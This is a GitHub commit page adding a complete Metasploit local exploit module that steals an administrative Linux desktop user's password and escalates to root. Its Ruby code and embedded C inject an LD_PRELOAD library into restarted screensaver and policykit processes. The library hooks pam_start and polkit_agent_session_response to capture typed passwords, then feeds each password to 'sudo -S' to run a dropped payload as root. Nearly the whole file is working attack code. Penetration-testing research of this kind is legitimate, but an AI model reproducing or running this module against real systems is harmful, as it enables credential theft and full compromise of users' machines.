Skip to content

Commit bde92b2

Browse files
committed
Land rapid7#3695, @jakoblell linux desktop privilege escalation
* through screensavers / policykit user component hijacking
2 parents 6613745 + 121c040 commit bde92b2

File tree

1 file changed

+237
-0
lines changed

1 file changed

+237
-0
lines changed
Lines changed: 237 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,237 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/exe'
9+
require 'base64'
10+
require 'metasm'
11+
12+
class Metasploit4 < Msf::Exploit::Local
13+
Rank = ExcellentRanking
14+
include Msf::Exploit::EXE
15+
include Msf::Post::File
16+
17+
def initialize(info={})
18+
super( update_info( info, {
19+
'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',
20+
'Description' => %q{
21+
This module steals the user password of an administrative user on a desktop Linux system
22+
when it is entered for unlocking the screen or for doing administrative actions using
23+
policykit. Then it escalates to root privileges using sudo and the stolen user password.
24+
It exploits the design weakness that there is no trusted channell for transferring the
25+
password from the keyboard to the actual password verificatition against the shadow file
26+
(which is running as root since /etc/shadow is only readable to the root user). Both
27+
screensavers (xscreensaver/gnome-screensaver) and policykit use a component running under
28+
the current user account to query for the password and then pass it to a setuid-root binary
29+
to do the password verification. Therefore it is possible to inject a password stealer
30+
after compromising the user account. Since sudo requires only the user password (and not
31+
the root password of the system), stealing the user password of an administrative user
32+
directly allows escalating to root privileges. Please note that you have to start a handler
33+
as a background job before running this exploit since the exploit will only create a shell
34+
when the user actually enters the password (which may be hours after launching the exploit).
35+
Using exploit/multi/handler with the option ExitOnSession set to false should do the job.
36+
},
37+
'License' => MSF_LICENSE,
38+
'Author' => ['Jakob Lell'],
39+
'DisclosureDate' => 'Aug 7 2014',
40+
'Platform' => 'linux',
41+
'Arch' => [ARCH_X86, ARCH_X86_64],
42+
'SessionTypes' => ['shell', 'meterpreter'],
43+
'Targets' =>
44+
[
45+
['Linux x86', {'Arch' => ARCH_X86}],
46+
['Linux x86_64', {'Arch' => ARCH_X86_64}]
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'PrependSetresuid' => true,
51+
'PrependFork' => true,
52+
'DisablePayloadHandler' => true
53+
},
54+
'DefaultTarget' => 0,
55+
}
56+
))
57+
58+
register_options([
59+
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
60+
], self.class)
61+
end
62+
63+
def check
64+
check_command = 'if which perl && '
65+
check_command << 'which sudo && '
66+
check_command << 'id|grep -E \'sudo|adm\' && '
67+
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
68+
check_command << 'then echo OK;'
69+
check_command << 'fi'
70+
71+
output = cmd_exec(check_command).gsub("\r", '')
72+
73+
vprint_status(output)
74+
75+
if output['OK'] == 'OK'
76+
return Exploit::CheckCode::Vulnerable
77+
end
78+
79+
Exploit::CheckCode::Safe
80+
end
81+
82+
def exploit
83+
# Cannot use generic/shell_reverse_tcp inside an elf
84+
# Checking before proceeds
85+
pl = generate_payload_exe
86+
if pl.blank?
87+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
88+
end
89+
90+
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
91+
92+
print_status("Writing payload executable to '#{exe_file}'")
93+
write_file(exe_file, pl)
94+
cmd_exec("chmod +x #{exe_file}")
95+
96+
97+
cpu = nil
98+
if target['Arch'] == ARCH_X86
99+
cpu = Metasm::Ia32.new
100+
elsif target['Arch'] == ARCH_X86_64
101+
cpu = Metasm::X86_64.new
102+
end
103+
lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)
104+
lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"
105+
106+
print_status("Writing lib file to '#{lib_file}'")
107+
write_file(lib_file,lib_data)
108+
109+
print_status('Restarting processes (screensaver/policykit)')
110+
restart_commands = get_restart_commands
111+
restart_commands.each do |cmd|
112+
cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file
113+
cmd_exec(cmd)
114+
end
115+
print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')
116+
end
117+
118+
def get_restart_commands
119+
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
120+
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
121+
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
122+
get_cmd_lines << '$/=undef;'
123+
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
124+
125+
text_output = cmd_exec(get_cmd_lines).gsub("\r",'')
126+
vprint_status(text_output)
127+
128+
lines = text_output.split("\n")
129+
130+
restart_commands = []
131+
i=0
132+
while i < lines.length - 3
133+
m = lines[i].match(/^PID:(\d+)/)
134+
135+
if m
136+
pid = m[1]
137+
vprint_status("PID=#{pid}")
138+
print_status("Found process: " + lines[i+1])
139+
140+
exe = lines[i+1].match(/^EXE:(\S+)$/)[1]
141+
vprint_status("exe=#{exe}")
142+
143+
cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")
144+
vprint_status("CMDLINE=" + cmdline.join(' XXX '))
145+
146+
env = lines[i+3].match(/^environ:(\w+)$/)[1]
147+
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'
148+
restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'
149+
restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''
150+
151+
vprint_status("RESTART: #{restart_command}")
152+
restart_commands.push(restart_command)
153+
end
154+
155+
i+=1
156+
end
157+
158+
restart_commands
159+
end
160+
161+
def c_code(exe_file)
162+
c = %Q|
163+
// A few constants/function definitions/structs copied from header files
164+
#define RTLD_NEXT ((void *) -1l)
165+
extern uintptr_t dlsym(uintptr_t, char*);
166+
// Define some structs to void so that we can ignore all dependencies from these structs
167+
#define FILE void
168+
#define pam_handle_t void
169+
extern FILE *popen(const char *command, const char *type);
170+
extern int pclose(FILE *stream);
171+
extern int fprintf(FILE *stream, const char *format, ...);
172+
extern char *strstr(const char *haystack, const char *needle);
173+
extern void *malloc(unsigned int size);
174+
175+
struct pam_message {
176+
int msg_style;
177+
const char *msg;
178+
};
179+
180+
struct pam_response {
181+
char *resp;
182+
int resp_retcode;
183+
};
184+
185+
struct pam_conv {
186+
int (*conv)(int num_msg, const struct pam_message **msg,
187+
struct pam_response **resp, void *appdata_ptr);
188+
void *appdata_ptr;
189+
};
190+
191+
void run_sudo(char* password) {
192+
FILE* sudo = popen("sudo -S #{exe_file}", "w");
193+
fprintf(sudo,"%s\\n",password);
194+
pclose(sudo);
195+
}
196+
197+
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
198+
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
199+
int i;
200+
int passwd_index = -1;
201+
for(i=0;i<num_msg;i++){
202+
if(strstr(msg[i]->msg,"Password") >= 0){
203+
passwd_index = i;
204+
}
205+
}
206+
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
207+
if(passwd_index >= 0){
208+
run_sudo(resp[passwd_index]->resp);
209+
}
210+
return result;
211+
}
212+
213+
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
214+
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
215+
if(!orig_pam_start){
216+
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
217+
}
218+
struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));
219+
my_pam_conversation->conv = &my_conv;
220+
my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;
221+
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
222+
}
223+
224+
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
225+
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
226+
if(!orig_polkit_agent_session_response){
227+
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
228+
}
229+
run_sudo(response);
230+
orig_polkit_agent_session_response(session, response);
231+
return;
232+
}
233+
|
234+
c
235+
end
236+
end
237+

0 commit comments

Comments
 (0)